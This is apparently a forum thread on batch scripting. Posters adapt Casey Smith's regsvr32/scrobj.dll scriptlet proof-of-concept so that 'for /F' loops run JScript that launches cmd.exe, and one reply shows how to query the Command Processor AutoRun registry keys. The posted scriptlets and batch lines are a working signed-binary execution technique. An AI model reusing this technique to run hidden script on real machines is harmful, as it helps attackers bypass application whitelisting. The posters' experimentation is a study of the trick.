Regsrv32 exploit
Posted: 26 Apr 2016 04:58
Code: Select all
set "comspec=C:\windows\system32\regsvr32.exe"
set "WRAP=/s /n /u /i:file:///%~dp0wrapper.sct scrobj.dll"
for /F "delims=" %%A in ('%WRAP% echo %TIME%') do echo #%%A
Code: Select all
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c");
]]>
</script>
</registration>
</scriptlet>
Code: Select all
regsvr32.exe /s /n /u /i:file:///c:\temp\wrapper.sct scrobj.dll echo 17:55:00
jeb wrote:Nice, I tested it and it works
...
Code: Select all
set "wcom=pause"
set "comspec=C:\windows\system32\regsvr32.exe"
set "WRAP=/s /n /u /i:file:///%~dp0wrapper.sct scrobj.dll"
for /F "delims=" %%A in ('%WRAP%') do echo #%%A
Code: Select all
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
var command=r.ExpandEnvironmentStrings("%wcom%");
r.Run("cmd.exe /c " + command);
]]>
</script>
</registration>
</scriptlet>
Code: Select all
@echo off
set "wcom=echo --#--&pause"
::set "comspec=C:\windows\system32\regsvr32.exe"
set "WRAP=/s /n /u /i:file:///%~dp0wrapper.sct scrobj.dll"
for /F "delims=" %%A in ('%WRAP%') do echo #%%A
regsvr32 /s /n /u /i:file:///%~dp0wrapper.sct scrobj.dll |more
Code: Select all
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
var command=r.ExpandEnvironmentStrings("%wcom%");
var res=r.Exec("cmd.exe /c " + command);
new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1).Write(res.StdOut.ReadLine());
]]>
</script>
</registration>
</scriptlet>
Code: Select all
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
var command=r.ExpandEnvironmentStrings("%wcom%");
var res=r.Exec("cmd.exe /c \"" + command + "\"");
var stdout=new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1);
while ( !res.StdOut.AtEndOfStream)
{
stdout.WriteLine(res.StdOut.ReadLine() );
}
]]>
</script>
</registration>
</scriptlet>
Sponge Belly wrote:Hi Guys!
Short of querying the Registry to make sure the AUTORUN key is empty whenever I want to use a for /f loop, what can I do about it?
Any suggestions appreciated.
- SB
Code: Select all
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
Code: Select all
@echo off
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor" /v AutoRun 2>nul
reg query "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /v AutoRun 2>nul
pause & goto :EOF